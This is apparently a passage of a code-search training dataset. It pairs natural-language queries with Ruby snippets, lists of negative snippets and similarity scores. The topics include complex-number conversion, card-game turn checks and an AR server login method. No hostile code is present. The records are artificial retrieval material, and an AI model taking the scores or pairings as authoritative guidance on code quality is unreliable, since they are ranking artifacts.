"0.5557948",
"0.5557948",
"0.54668146",
"0.5465173",
"0.54651654",
"0.54377115",
"0.5433878",
"0.54224986",
"0.54035795",
"0.5402671"
] | 0.66416 | 0 |
Returns a ruby Complex number with self as the real part and zero imaginary part. | def to_c
Complex(int? ? to_i : to_r, 0)
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def to_complex\n C.new(self, 0)\n end",
"def Complex(a, b = 0)\n if b == 0 and (a.kind_of?(Complex) or defined? Complex::Unify)\n a\n else\n Complex.new( a.real-b.imag, a.imag+b.real )\n end\nend",
"def real\n complexget :real\n end",
"def test_Complex_InstanceMethods_imag\n\t\tassert_equal(-3, Complex(2, -3).imag)\n\t\tassert_equal(-3, Complex(\"2-3i\").imag)\n\tend",
"def imag\n complexget :imag\n end",
"def imag\n if not @__imag__\n if complex?\n @__imag__ = case data_type\n when CA_CMPLX64\n field(4, CA_FLOAT32)\n when CA_CMPLX128\n field(8, CA_FLOAT64)\n when CA_CMPLX128\n field(16, CA_FLOAT128)\n end\n else\n @__imag__ = self.template { 0 }\n end\n end\n return @__imag__\n end",
"def test_Complex_InstanceMethods_imaginary\n\t\tassert_equal(-3, Complex(2, -3).imaginary)\n\t\tassert_equal(-3, Complex(\"2-3i\").imaginary)\n\tend",
"def test_Complex_InstanceMethods_conj\n\t\tassert_equal(Complex(\"0-1i\"), Complex::I.conj)\n\t\tassert_equal(Complex(\"1-1i\"), Complex(1,1).conj)\n\tend",
"def test_Complex_InstanceMethods_real\n\t\tassert_equal(2, Complex(2,3).real)\n\t\tassert_equal(0, Complex::I.real)\n\tend",
"def test_Complex_InstanceMethods_conjugate\n\t\tassert_equal(Complex(\"0-1i\"), Complex::I.conjugate)\n\t\tassert_equal(Complex(\"1-1i\"), Complex(1,1).conjugate)\n\tend",
"def test_Complex_InstanceMethods_rationalize\n\t\tassert_equal(2.5, Complex(2.5, 0))\n\tend",
"def exp\n @exp ||= ComplexNumber.new((Math::E**real).round(15), 0) \\\n * ComplexNumber.new(\n Math.cos(imaginary).round(15),\n Math.sin(imaginary).round(15)\n )\n end",
"def conjugate\n Complex(@real, -@image)\n end",
"def test_Complex_InstanceMethods_ArithmeticOperations\n\t\tassert_equal(Complex(\"3+2i\"), Complex(\"1+1i\") + Complex(\"2+1i\"))\n\t\tassert_equal(Complex(\"2+i\"), Complex(\"3+2i\") - Complex(\"1+i\"))\n\t\tassert_equal(Complex(\"0+24i\"), Complex(\"3+3i\") * Complex(\"4+4i\"))\n\t\tassert_equal(Complex(\"3+3i\"), Complex(\"9+9i\") / 3 )\n\t\tassert_equal(3, Complex(\"9+9i\") / Complex(\"3+3i\") )\n\t\tassert_equal(Complex(\"0+8i\"), Complex(\"2+2i\") ** 2)\n\t\tassert_equal(Complex(\"0+8i\"), Complex(\"2+2i\") * Complex(\"2+2i\"))\n\t\t# TODO, must be add testcase of \"-@, -+\"\n\tend",
"def complex_conjugate(new_stype = self.stype)\n self.cast(new_stype, NMatrix::upcast(dtype, :complex64)).complex_conjugate!\n end",
"def test_Complex_InstanceMethods_angle\n\t\tassert_equal(0.0, Complex(1, 0).arg)\n\t\tassert_equal(0.7853981633974483, Complex(1,1).arg)\n\t\tassert_equal(1.5707963267948966, Complex(0,1).arg)\n\tend",
"def test_Complex_InstanceMethods_angle\n\t\tassert_equal(0.0, Complex(1, 0).angle)\n\t\tassert_equal(0.7853981633974483, Complex(1,1).angle)\n\t\tassert_equal(1.5707963267948966, Complex(0,1).angle)\n\tend",
"def test_Complex_InstanceMethods_real?\n\t\tassert_equal(false, Complex(1,1).real?)\n\t\tassert_equal(false, Complex(1,0).real?)\n\tend",
"def imaginary_compass\n {\n 'W' => Complex(0, -1),\n 'E' => Complex(0, 1),\n 'N' => Complex(1, 0),\n 'S' => Complex(-1, 0)\n }\nend",
"def test_Complex_InstanceMethods_abs\n\t\tassert_equal(5, Complex(\"3+4i\").abs)\n\t\tassert_equal(5, Complex(3,4).abs)\n\tend",
"def + (cn)\n @@addoperation += 1\n real = @real + cn.real\n img = @img + cn.img\n ComplexNumber.new(real, img)\n end",
"def test_Complex_InstanceMethods_numerator\n\t\tc = Complex('2/3+3/4i')\n\t\tassert_equal(Complex('8+9i'), c.numerator)\n\t\tassert_equal(12, c.denominator)\n\tend",
"def test_Complex_InstanceMethods_to_r\n\t\tassert_equal(Rational('5/2'), Complex(2.5, 0).to_r)\n\tend",
"def cos(z)\n if Complex.generic?(z)\n cos!(z)\n else\n Complex(cos!(z.real)*cosh!(z.image),\n\t -sin!(z.real)*sinh!(z.image))\n end\n end",
"def conj\n Image.run_cmplx(self) { |x| x.complex :conj }\n end",
"def test_Complex_InstanceMethods_to_f\n\t\tassert_equal(2.0, Complex(2, 0).to_f)\n\tend",
"def test_NilClass_InstanceMethod_to_c\n\t\tassert_equal(Complex(0,0), nil.to_c)\n\tend",
"def test_Complex_InstanceMethods_polar\n\t\tassert_equal([1.4142135623730951, 0.7853981633974483], Complex(1,1).polar)\n\t\t# TODO, why? assert_equal([3.605551275463989, -2.158798930342464], Complex(-2,-3).polar)\n\tend",
"def test_Complex_InstanceMethods_magnitude\n\t\tassert_equal(1.4142135623730951, Complex(1,1).magnitude)\n\t\tassert_equal(5.0, Complex(3, 4).magnitude)\n\t\tassert_equal(1, Complex::I.magnitude)\n\tend",
"def test_Complex_InstanceMethods_to_i\n\t\tassert_equal((5/2), Complex(2.5, 0).to_i)\n\tend"
] | [
"0.80551976",
"0.7079106",
"0.70075077",
"0.66132885",
"0.6588698",
"0.6543675",
"0.65424716",
"0.6463196",
"0.63750255",
"0.63100344",
"0.6223984",
"0.62014705",
"0.6187434",
"0.6140016",
"0.6002022",
"0.59516835",
"0.59392005",
"0.5907457",
"0.58829427",
"0.58146",
"0.579112",
"0.5788536",
"0.57750094",
"0.5768968",
"0.57227886",
"0.5713625",
"0.57068014",
"0.5705341",
"0.57022136",
"0.5691287"
] | 0.7273271 | 1 |
Returns a Calc::C complex number with self as the real part and zero imaginary part. | def to_complex
C.new(self, 0)
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def to_c\n Complex(int? ? to_i : to_r, 0)\n end",
"def real\n complexget :real\n end",
"def imag\n complexget :imag\n end",
"def imag\n if not @__imag__\n if complex?\n @__imag__ = case data_type\n when CA_CMPLX64\n field(4, CA_FLOAT32)\n when CA_CMPLX128\n field(8, CA_FLOAT64)\n when CA_CMPLX128\n field(16, CA_FLOAT128)\n end\n else\n @__imag__ = self.template { 0 }\n end\n end\n return @__imag__\n end",
"def Complex(a, b = 0)\n if b == 0 and (a.kind_of?(Complex) or defined? Complex::Unify)\n a\n else\n Complex.new( a.real-b.imag, a.imag+b.real )\n end\nend",
"def conjugate\n Complex(@real, -@image)\n end",
"def complex_conjugate(new_stype = self.stype)\n self.cast(new_stype, NMatrix::upcast(dtype, :complex64)).complex_conjugate!\n end",
"def imaginary_compass\n {\n 'W' => Complex(0, -1),\n 'E' => Complex(0, 1),\n 'N' => Complex(1, 0),\n 'S' => Complex(-1, 0)\n }\nend",
"def test_Complex_InstanceMethods_imag\n\t\tassert_equal(-3, Complex(2, -3).imag)\n\t\tassert_equal(-3, Complex(\"2-3i\").imag)\n\tend",
"def test_Complex_InstanceMethods_imaginary\n\t\tassert_equal(-3, Complex(2, -3).imaginary)\n\t\tassert_equal(-3, Complex(\"2-3i\").imaginary)\n\tend",
"def test_Complex_InstanceMethods_conj\n\t\tassert_equal(Complex(\"0-1i\"), Complex::I.conj)\n\t\tassert_equal(Complex(\"1-1i\"), Complex(1,1).conj)\n\tend",
"def exp\n @exp ||= ComplexNumber.new((Math::E**real).round(15), 0) \\\n * ComplexNumber.new(\n Math.cos(imaginary).round(15),\n Math.sin(imaginary).round(15)\n )\n end",
"def conj\n Image.run_cmplx(self) { |x| x.complex :conj }\n end",
"def test_Complex_InstanceMethods_conjugate\n\t\tassert_equal(Complex(\"0-1i\"), Complex::I.conjugate)\n\t\tassert_equal(Complex(\"1-1i\"), Complex(1,1).conjugate)\n\tend",
"def complex?\n @complex\n end",
"def + (cn)\n @@addoperation += 1\n real = @real + cn.real\n img = @img + cn.img\n ComplexNumber.new(real, img)\n end",
"def test_Complex_InstanceMethods_ArithmeticOperations\n\t\tassert_equal(Complex(\"3+2i\"), Complex(\"1+1i\") + Complex(\"2+1i\"))\n\t\tassert_equal(Complex(\"2+i\"), Complex(\"3+2i\") - Complex(\"1+i\"))\n\t\tassert_equal(Complex(\"0+24i\"), Complex(\"3+3i\") * Complex(\"4+4i\"))\n\t\tassert_equal(Complex(\"3+3i\"), Complex(\"9+9i\") / 3 )\n\t\tassert_equal(3, Complex(\"9+9i\") / Complex(\"3+3i\") )\n\t\tassert_equal(Complex(\"0+8i\"), Complex(\"2+2i\") ** 2)\n\t\tassert_equal(Complex(\"0+8i\"), Complex(\"2+2i\") * Complex(\"2+2i\"))\n\t\t# TODO, must be add testcase of \"-@, -+\"\n\tend",
"def cos(z)\n if Complex.generic?(z)\n cos!(z)\n else\n Complex(cos!(z.real)*cosh!(z.image),\n\t -sin!(z.real)*sinh!(z.image))\n end\n end",
"def test_Complex_InstanceMethods_real\n\t\tassert_equal(2, Complex(2,3).real)\n\t\tassert_equal(0, Complex::I.real)\n\tend",
"def test_NilClass_InstanceMethod_to_c\n\t\tassert_equal(Complex(0,0), nil.to_c)\n\tend",
"def scalar(c)\n p_r = @r*c\n p_i = @i*c\n c3 = Complejo.new(p_r, p_i)\n return c3.to_s\n end",
"def conjugate\n\t\t\tself.class.new( -@elem[0], -@elem[1], -@elem[2], @elem[3] )\n\t\tend",
"def escape c\n z = Complex(0, 0)\n for it in 1 .. @cap\n z = z ** 2 + c\n break if z.abs2 > 4.0 # 2.0 * 2.0\n end\n (it == @cap) ? 0 : it\n end",
"def test_Complex_InstanceMethods_numerator\n\t\tc = Complex('2/3+3/4i')\n\t\tassert_equal(Complex('8+9i'), c.numerator)\n\t\tassert_equal(12, c.denominator)\n\tend",
"def test_Complex_InstanceMethods_rationalize\n\t\tassert_equal(2.5, Complex(2.5, 0))\n\tend",
"def imaginary\r\n self.data.map(&:imaginary)\r\n end",
"def conjugado\n\t\treturn NumCom.new(@r,-@i)\n\tend",
"def conjugate_transpose\n self.transpose.complex_conjugate!\n end",
"def test_Complex_ClassMethods_polar\n\t\tassert_equal(Complex(\"1.0794265511251584+0.5896934124831696i\"), Complex.polar(1.23, 0.5))\n\t\t# assert_equal(Complex(\"6.123233995736766e-17+1.0i\"), Complex.polar(1, Math::PI/2))\n\tend",
"def calculate\r\n strategy.data = conjugate(data)\r\n fft_out = strategy.calculate\r\n n = fft_out.length.to_f\r\n conjugate(fft_out){ |real, imag| OpenStruct.new(real: (real / n), imaginary: (imag / n) ) }\r\n end"
] | [
"0.7379986",
"0.6883437",
"0.6825969",
"0.67648345",
"0.65718883",
"0.65584326",
"0.6336348",
"0.6285525",
"0.6255356",
"0.60902005",
"0.60478204",
"0.6044318",
"0.599291",
"0.5968815",
"0.5837521",
"0.5813721",
"0.57965666",
"0.57523817",
"0.57047516",
"0.5643007",
"0.56102633",
"0.560558",
"0.5494308",
"0.5453418",
"0.54526347",
"0.5439699",
"0.5349249",
"0.5331905",
"0.533038",
"0.532031"
] | 0.802263 | 0 |
Check is player wants to open cards or some of participants has 3 cards | def game_ended?
@player.reveal? || @player.cards.size == 3 || @dealer.cards.size == 3
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def complete?\n @cards.length == 5\n end",
"def turn_end?\n players.all?(&:cant_take_cards?) || players.any?(&:wants_open_cards?)\n end",
"def can_play(player_cnt)\n if @cards.length >= player_cnt * AVERAGE_HAND_SIZE\n return 1\n end\n return nil\n end",
"def six_cards?(player_check)\n if (player_check.hand.length == 6) && (player_check.hand_total < 21)\n return true\n else\n return false\n end\n end",
"def full_house?\n return unless size >= 5\n\n the_cards = cards_by_rank.values\n the_cards[0].count >= 3 && the_cards[1].count >= 2\n end",
"def hand?\n @cards_by_score.length == 5\n end",
"def play_cards\n selection = get_card_numbers\n selection_cards = selection.map {|i| @game.field[i] }\n if (selection_cards.compact.length != 3)\n flash[:error] = 'You did not select three cards.'\n return false\n end\n @found_set = @game.make_set_selection( @player, *selection_cards )\n unless @found_set\n flash[:notice] = 'The three cards you selected are not a set.'\n return false\n end\n flash[:notice] = nil\n flash[:error] = nil\n true\n end",
"def opponent_exhausted_winnings_and_base_cards?\n @opponent.no_base_cards_remaining?\n end",
"def is_game_over?\n players.count < 2 ||\n @state == 'stop' ||\n @cards_on_table.count >= Deck.num_cards ||\n (players.map{|p| p.num_cards_remaining == Deck.num_cards}.include? true)\n end",
"def three_of_a_kind?\n cards_by_rank.values.first.count >= 3\n end",
"def busted?(cards)\n\nend",
"def four_of_a_kind?\r\n players_cards.each do |card_obj|\r\n return card_obj.value if players_cards.count {|card| card.value == card_obj.value} == 4\r\n end\r\n false \r\n end",
"def check_all_cards\n all_cards = @cpu_hand.cards + @player_hand.cards\n\n if all_cards.length == 0\n complete\n elsif !all_cards.any? { |c| @total + c.value <= 31 }\n # There was no way to continue with the previous set, start a new one with\n # the other player.\n\n @scorer.peg_player( @turn, 1, 'a Go' )\n\n start_set\n\n @turn = other_player @turn\n end\n\n @engine.delay_update( 1 ) if @turn == :cpu\n end",
"def isOver?\n @deck.cardsRemaining < MIN_CARDS\n end",
"def blackjack?; value == 21 && @cards.length == 2; end",
"def shouldHit\n # If 17 or above, lock the hand so it cannot receive any more cards\n \tif @hands[0].checkHand > 16 or @hands[0].checkHand < 0\n \t @hands[0].lock\n \tend\n \t@hands[0].canGetCards\n end",
"def check_win(player)\n winning_combos.each do |winning_combo|\n if three_in_a_row(winning_combo, player)\n @winner = player\n return true\n end\n end\n \n false\n \n end",
"def did_player_win\n (@purses[@current_player] != 6)\n end",
"def cards_left_to_collect\n card_ids = UserCard.select {|card| card[\"user_id\"] == self.id}\n remaining = Card.all.count - card_ids.map { |card| card[\"card_id\"] }.uniq.count\n if remaining == 0\n puts \"=====================================================================\"\n puts \"Congratulations, you have completed the Superhero card album!!\"\n puts \"=====================================================================\"\n else\n puts \"=====================================================================\"\n puts \"You still have #{remaining} cards left to collect...\"\n puts \"=====================================================================\"\n end\n end",
"def enough_human_players?\n players.length >= needed_players\n end",
"def won?\n !@grid.flatten.any? do |card|\n !card.face_up\n end\n end",
"def has_competing_players?\n @list.count > 1\n end",
"def flush?\n cards_by_suit.any? {|_, v| v.count >= cards_needed}\n end",
"def card_exists?(user)\n all_cards = user.cards.all.count\n all_cards >= 0\n end",
"def is_playable?(card)\n # if not card in hand of player which turn is\n return false unless @hands[@on_move].include?(card)\n \n #if no cards played this turn any card is playable\n if cards_played_size == 0\n return true\n end \n end",
"def game_over?\n remaining_players == 1\n end",
"def match?(choices)\n\n @choices = choices\n raise ArgumentError, 'Checker received non-card input' unless @choices.kind_of?(Array)\n raise ArgumentError, 'A set has 3 cards! Please select 3 cards!' unless @choices.size == 3\n\n # Logic: \"MAKE THIS TERSE\"\n numbers = Array.new(3) { |i| choices[i].number }\n symbols = Array.new(3) { |i| choices[i].symbol }\n shadings = Array.new(3) { |i| choices[i].shading }\n colors = Array.new(3) { |i| choices[i].color }\n\n features = [numbers, symbols, shadings, colors]\n @result = features.all? { |feature| feature.uniq.size != 2 }\n end",
"def high_card?\n cards_by_rank.count == @size\n end",
"def dealer_won?\n !dealer.busted? && (player.busted? || dealer.cards_total > player.cards_total) \nend",
"def check_only_play_once?(player, turn, done)\n played_cards = all_discards(done)\n\n valid_discards = played_cards.uniq\n\n if played_cards != valid_discards\n raise Cheating, \"Player is using cards more than once!\"\n else\n true\n end\n end"
] | [
"0.70577615",
"0.7042243",
"0.69955117",
"0.6980894",
"0.69498867",
"0.6855534",
"0.6847138",
"0.67779994",
"0.6765362",
"0.6753158",
"0.67362475",
"0.66861534",
"0.6675591",
"0.66635835",
"0.66169006",
"0.6616501",
"0.65807265",
"0.656637",
"0.6534848",
"0.653297",
"0.65281135",
"0.65198785",
"0.6516878",
"0.6506235",
"0.6503857",
"0.6492702",
"0.64642894",
"0.6447858",
"0.6417828",
"0.6405673"
] | 0.73652524 | 0 |
Attempt to log in the AR server user context represented by the Context object. This method returns an array of hashes representing any AR server messages triggered during log in. These method hashes include values for the following keys: +:message+, +:type+, +:number+. If any problems were encountered during login a new ModelException is thrown. | def login
begin
# Try to log in
@ars_context.login
# If the login was successful, capture any AR messages
@ars_context.get_messages.collect do |message|
{:message => message.get_message, :type => message.get_type, :number => message.get_number}
end
rescue NativeException => exception
# If an exception is thrown, raise a ModelException
raise Exceptions::ModelException.new(exception.cause)
end
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def login_faild\n\t\treturn error_log errors:{unauthenticated:[\"Incorrect User name and password\"]}\n\tend",
"def user_login\n @raw['user']['login']\n end",
"def login_message(connection, nonce)\n Protocol::Query.new(\n auth_database(connection),\n Database::COMMAND,\n { authenticate: 1, user: user.name, nonce: nonce, key: user.auth_key(nonce) },\n limit: -1\n )\n end",
"def login_users\n self.journal_entries.collect { |entry| entry.login_user }.compact\n end",
"def login(username, pwd)\n user = @server.proxy('User')\n logged_in_user_response = user.login({'login' => username, 'password' => pwd})\n #puts \"\\nlogged in user id = \" + logged_in_user_response['id'].to_s\n end",
"def login\n json_response({ message: 'NOT IMPLEMENTED' })\n end",
"def login\n @user_login\n end",
"def login\n\t \t@userr = User.where([\"name = ? and password = ?\", params[:name],params[:password]]).first\n\n\t \tif not @userr.nil?\n\n\t \t\tif not (@userr.roles & Role.find([1, 2])).empty?\n\t \t\t\t@token = @userr.tokens.last\n\t \t\t\t@result = [@userr, @token]\n\t \t\t\trender :json => @result\n\t \t\t\t\n\t \t\telsif not @userr.events.select{ |ev| not ev.Completed and ev.EventDate.to_date + 2 >= Date.today}.empty?\n\t \t\t\t@token = @userr.tokens.last\n\t \t\t\t@result = [@userr, @token]\n\t \t\t\trender :json => @result\n\t \t\telse\n\t \t\t\trender :json => {error:\"There are no events currently active for this user.\"}, :status => :unauthorized\n\t \t\tend\n \t\telse\n\n \t\t\trespond_to do |format|\n \t\t\tformat.html { redirect_to '/login/index' }\n \t\t\tformat.json { render :json => {error:\"Invalid username or password please try again.\"}, :status => :unprocessable_entity }\n \t\tend\n\t\tend\n\tend",
"def login\n auth_token =\n AuthenticateUser.new(auth_params[:email], auth_params[:phone_number], auth_params[:password]).call\n response = { message: Message.successful_login, auth_token: auth_token }\n json_response(response)\n end",
"def login\r\n # If the user is already logged in, send them into the application, rather than requesting authentication again.\r\n if is_authorized\r\n logger.debug(\"User is already logged in\")\r\n redirect_to :controller => :bodysize\r\n return\r\n end\r\n \r\n # The user is not logged in yet. Reset their session\r\n session[:user_id] = nil\r\n \r\n if request.post?\r\n user = User.authenticate(params[:email_address], params[:password])\r\n if user && user.enabled?\r\n login_user_by_id(user.id) \r\n\r\n uri = session[:original_uri]\r\n session[:original_uri] = nil\r\n redirect_to( uri || '/bodysize/index' )\r\n return\r\n else\r\n flash[:notice] = 'Invalid username/password combination'\r\n AuditLog.create(:action => \"A user failed to login with the username: #{params[:email_address]}\") \r\n end\r\n end\r\n end",
"def mob_login\n token_manager = API::Concerns::TokenManager.new(params[:email], params[:password], params[:access_token])\n current_user = token_manager.current_user\n if !current_user.nil?\n render json: JSON.parse(current_user.to_json).except('id', 'password', 'pass_salt', 'updated_at')\n else\n render json: JSON.parse(token_manager.token.to_json)\n end\n end",
"def login(force: false)\n if SessionManager.logged_in? && !force\n raise LogworkException::UserAlreadyLoggedIn.new,\n \"You are already logged in.\"\n end\n\n params = {\n \"username\" => credentials.username,\n \"password\" => credentials.password\n }\n\n Communicator.instance.post(\"/rest/auth/#{Constants::JIRA_AUTH_VERSION}/session\", params) do |body, res|\n parse_login_response(body, res) { yield if block_given? }\n end\n end",
"def login\n\n=begin\n :: Expected Params ::\n\n Constants::REQUEST_PARAM_USERNAME => Username\n Constants::REQUEST_PARAM_USERPASSWORD => UserPassword\n\n=end\n\n # Look up for User in database\n find_user\n\n if @user\n @user.signin!(request)\n\n render json: {status: status_code(:ok), message: '', data: @user.as_signin_json}\n \n end\n\n end",
"def login\n # If there's no connection, bail\n return if !@connected\n\n # Set the logged_in flag to false\n @logged_in = false\n \n # Send the command and read the response\n command = \"Action: Login\\r\\nUsername: \" + @username + \"\\r\\nSecret: \" + @secret + \"\\r\\n\\n\"\n response = self.send_request(command)\n \n # Check the response, set the flag, and write the log message\n @logged_in = self.check_response_status(response)\n \n if @logged_in\n @logger.success(\"Success: \" + response[:message])\n \n # The AMI immediately sends an event message after login. We don't care\n # about it, but it gets in the way of sending other commands. Read it and throw it in the log file\n self.read_response\n \n # Turn events off so we don't have to handle a bunch of asynchronous messages\n command = \"Action: Events\\r\\nEventmask: Off\\r\\n\\n\"\n response = self.send_request(command)\n \n @logger.success(\"Success: Async events turned off\") if (response[:response] == RESPONSE_SUCCESS)\n @logger.error(\"Failure: Could not turn async events off. This may cause problems\") if (response[:response] != RESPONSE_SUCCESS)\n else\n @logger.fatal(\"Error: \" + response[:message])\n end\n end",
"def require_login auth_data\r\n username = auth_data[:login][:email]\r\n password = auth_data[:login][:password] \r\n if username && password\r\n begin\r\n user = {\"email\"=>username, \"password\"=>password}\r\n newParams = {\"user\" => user}\r\n logger.info(\"Authentication::Params---#{newParams}\")\r\n @userSession = smvLogin(newParams, request.env)\r\n smv_status = {\r\n :statusCode => @userSession.statusCode,\r\n :value => @userSession.value, \r\n :msg => @userSession.message\r\n }\r\n logger.info(\"Authentication::require_login::userSession---#{smv_status}\")\r\n if smv_status[:statusCode].blank? || smv_status[:statusCode]==0\r\n session[:userSession] = smv_status[:value].sessionGuid\r\n session[:userEmail]= username\r\n current_user_status = current_user\r\n if current_user_status[:statusCode]==-1 \r\n smv_status =current_user_status\r\n loggedOut\r\n end\r\n end\r\n rescue Exception => exc\r\n logger.info(\"Authentication::User Session:-- #{session[:userSession]}, #{exc.message}\") \r\n smv_status = {\r\n :statusCode => -1,\r\n :value => '', \r\n :msg => \"Java API is throwing some exception:-- #{exc.message}\"\r\n }\r\n end\r\n else\r\n smv_status = {\r\n :statusCode => -1,\r\n :value => '', \r\n :msg => 'Please enter a valid username and password'\r\n }\r\n end\r\n return smv_status\r\n end",
"def configure_login_credentials\n # Clear saved cookie\n Utilities.remove_cookie\n\n account = prompt_for_account\n Utilities.log(\"Trying to login...\")\n session = Communication::SessionManager.new(account)\n session.login(force: true) do\n Utilities.log(\"Success (#{session.myself[:full_name]}).\", { type: :success })\n end\n rescue LogworkException::InvalidCredentials\n Utilities.log(\"Invalid username or password.\", { type: :error })\n rescue LogworkException::APIResourceNotFound, LogworkException::NotSuccessStatusCode\n Utilities.log(\"Seems that you have entered an invalid JIRA Server URL.\", { type: :error })\n end",
"def login\n receive_until_token(@login_token)\n enter_login unless @logged_in\n if @password # if password was passed, else try without password\n receive_until_token(@password_token)\n enter_password unless @logged_in\n end\n receive_until_token(@prompt)\n @logger.info(\"logged in\") if @logger\n end",
"def login_related(msg)\n if Login === msg\n if @connection.server.authenticator.allowed?(\n msg.user_name, msg.password)\n @connection.user_name = msg.user_name\n @connection.send_msg(LoginOK.new)\n @connection.room.add_connection @connection\n else\n @connection.send_msg(LoginWrong.new)\n end\n return true\n elsif not @connection.authorized?\n @connection.send_msg Kick.new(\n \"Unauthorized connections aren't allowed to send '#{msg.class}'!\")\n @connection.force_close\n return true\n end\n false\n end",
"def handle_failed_login\n Log.error(\"failure.\")\n end",
"def current_user \r\n if logged_in?\r\n if session[:userEmail]\r\n user = {\"email\"=>session[:userEmail]}\r\n params = {\"user\" => user}\r\n logger.info(\"Authentication::current_user::params---#{params}\")\r\n begin\r\n @logged_in_user_info = smvGetUser(params,request.env)\r\n smv_status = {\r\n :statusCode => @logged_in_user_info.statusCode,\r\n :value => @logged_in_user_info.value, \r\n :msg => @logged_in_user_info.message\r\n }\r\n logger.info(\"Authentication::current_user::smvGetUser::status---#{smv_status}\") \r\n rescue Exception => exc\r\n smv_status = {\r\n :statusCode => -1,\r\n :value => '', \r\n :msg => \"Java API is throwing some exception:-- #{exc.message}\"\r\n }\r\n end\r\n end\r\n else\r\n invalid_session = I18n.t(\"message.no_session\") \r\n smv_status = {\r\n :statusCode => -1,\r\n :value => '', \r\n :msg => \"#{invalid_session}\"\r\n }\r\n end\r\n return smv_status\r\n end",
"def login(connection)\n nonce = connection.dispatch([ nonce_message(connection) ]).documents[0]\n reply = connection.dispatch([ login_message(connection, nonce[Auth::NONCE]) ])\n raise Unauthorized.new(user) if reply.documents[0]['ok'] == 0\n reply\n end",
"def login\n @response = client.request :log, :login2 do\n soap.element_form_default = :unqualified \n soap.namespaces[\"xmlns:login\"] = 'http://login.ext.soap.yodlee.com'\n \n soap.body = {\n :cobrand_context => cobrand_context,\n :user_credentials => credentials.credentials_hash, \n :attributes! => {:user_credentials => {\"xsi:type\" => \"login:PasswordCredentials\"}} \n }\n end\n \n hash_response = @response.to_hash\n context = hash_response[:login2_response][:login2_return][:user_context]\n parse_response(context)\n end",
"def login\n get_session_variables_from_authenticated_system\n\n return unless request.post?\n attempt_to_login_user\n\n if logged_in? && authorized?(current_user)\n create_secret_image_code\n set_session_variables_for_authenticated_system\n log_the_login\n redirect_with_proper_protocol_and_query_string\n elsif account_subdomain\n flash.now[:notice] = \"Bad username or password for identity url: #{account_subdomain}.#{AppConfig.host}\"\n else\n flash.now[:notice] = \"Bad username or password.\"\n end\n end",
"def authn_context\n saml_response.authn_context_text\n rescue\n Raven.tags_context(controller_name: 'sessions', sign_in_method: 'not-signed-in:error')\n raise\n end",
"def login(retries = 2)\n options = {\n 'body' => {\n 'userName' => @user,\n 'password' => @password,\n 'authLoginDomain' => @domain\n }\n }\n response = rest_post('/rest/login-sessions', options)\n body = response_handler(response)\n return body['sessionID'] if body['sessionID']\n raise ConnectionError, \"\\nERROR! Couldn't log into OneView server at #{@url}. Response: #{response}\\n#{response.body}\"\n rescue StandardError => e\n raise e unless retries > 0\n @logger.debug 'Failed to log in to OneView. Retrying...'\n return login(retries - 1)\n end",
"def _login(username, password)\n begin\n return set_error_object({message: @configuration.not_initialized_message}) if not_initialized?\n url = \"#{base_uri}/#{@configuration.users_path}/login.#{@configuration.api_request_format}\"\n response = post url, body: {user: username, password: Digest::MD5.hexdigest(password)}\n JSON.parse (response.body && !response.body.empty?) ? response.body : set_error_object #returns the complete object\n rescue => e\n puts e.to_s #debug the error\n end\n end",
"def login\n self.class.trace_execution_scoped(['Custom/login/find_user']) do\n @u = (User.find_by_primary_email(params[:username].downcase) || User.find_by_nickname(params[:username].downcase.to_s)) if params[:username]\n end\n\n self.class.trace_execution_scoped(['Custom/login/if_block']) do\n if @u and @u.has_password? and @u.valid_password?(params[:password])\n @user = @u\n elsif @u and (params[:password] == \"anonymous\") and (@u.user_type == User::USER_TYPE[:anonymous])\n @user = @u\n else\n query = {:auth_failure => 1, :auth_strategy => \"that username/password\"}\n query[:redir] = params[:redir] if params[:redir]\n redirect_to add_query_params(request.referer || Settings::ShelbyAPI.web_root, query) and return\n end\n end\n\n # any user with valid email/password is a valid Shelby user\n # this sets up redirect\n self.class.trace_execution_scoped(['Custom/login/sign_in_current_user']) do\n sign_in_current_user(@user)\n end\n redirect_to clean_query_params(@opener_location) and return\n end",
"def process_login_response(email, password, response)\n @email = email\n @password = password\n @token = Parser.extract_user_token response\n @id = Parser.login_object_id response\n @xp = Parser.extract_xp response\n end",
"def authenticate\n\t \tcommand = AuthenticateUser.call(params[:email], params[:password],'email_login')\n\t @user = User.find_by_email(params[:email])\n\t if command.success?\n\t \tif @user.user_type == \"site\"\n\t \t\tUserMailer.login(@user).deliver_later\n\t \t\trender json: { auth_token: command.result,\n\t \t\t\t\t\t user_type: @user.user_type,\n\t \t\t\t\t\t user_id: @user.id,\n\t \t\t\t\t\t roles: @user.roles }\n\t \telsif @user.user_type == \"startup\"\n\t \t\tUserMailer.login(@user).deliver_later\n\t \t\tstartup_user = StartupUser.find_by_user_id(@user.id)\n\t \t\tprogram_id = startup_user.startup_profile.startup_registration.program.id\n\t \t\trender json: { auth_token: command.result,\n\t \t\t\t\t\t\t user_type: @user.user_type,\n\t \t\t\t\t\t\t user_id: @user.id,\n\t \t\t\t\t\t\t startup_profile_id: startup_user.startup_profile_id,\n\t \t\t\t\t\t\t program_id: program_id }\n\t \telsif @user.user_type == \"mentor\"\n\t \t\tUserMailer.login(@user).deliver_later\n\t \t\tmentor_user = MentorUser.find_by_user_id(@user.id)\n\t \t\trender json: { auth_token: command.result,\n\t \t\t\t\t\t\t user_type: @user.user_type,\n\t \t\t\t\t\t\t user_id: @user.id}\t\t\t\t\t \n\t \tend\n\t \t\t@user.access_token = command.result\n\t \t@user.save!\n\t else\n\t render json: { message: command.errors[:message][0] }, status: :unauthorized\n\t end\n\t end",
"def log_user_in(user)\n note \"Welcome, #{user.contact.con_name}\"\n\n user.log(\"Logged in\")\n user.user_last_logged_in = Time.now\n user.save\n\n sm = SessionManager.new($store)\n sm.fork_session(@session, @context)\n @session.user = user\n @session.news = DailyPlanet.top_news_for_user(user)\n if user.contact.mail.empty?\n @data.user = user\n collect_user_info(false, true)\n else\n @session.pop\n end\n end"
] | [
"0.531786",
"0.5233715",
"0.5204121",
"0.511291",
"0.49858785",
"0.49514577",
"0.49039382",
"0.49013963",
"0.48930195",
"0.48291546",
"0.47894534",
"0.47883496",
"0.47701705",
"0.47543427",
"0.47329432",
"0.4731169",
"0.47297007",
"0.472177",
"0.47044328",
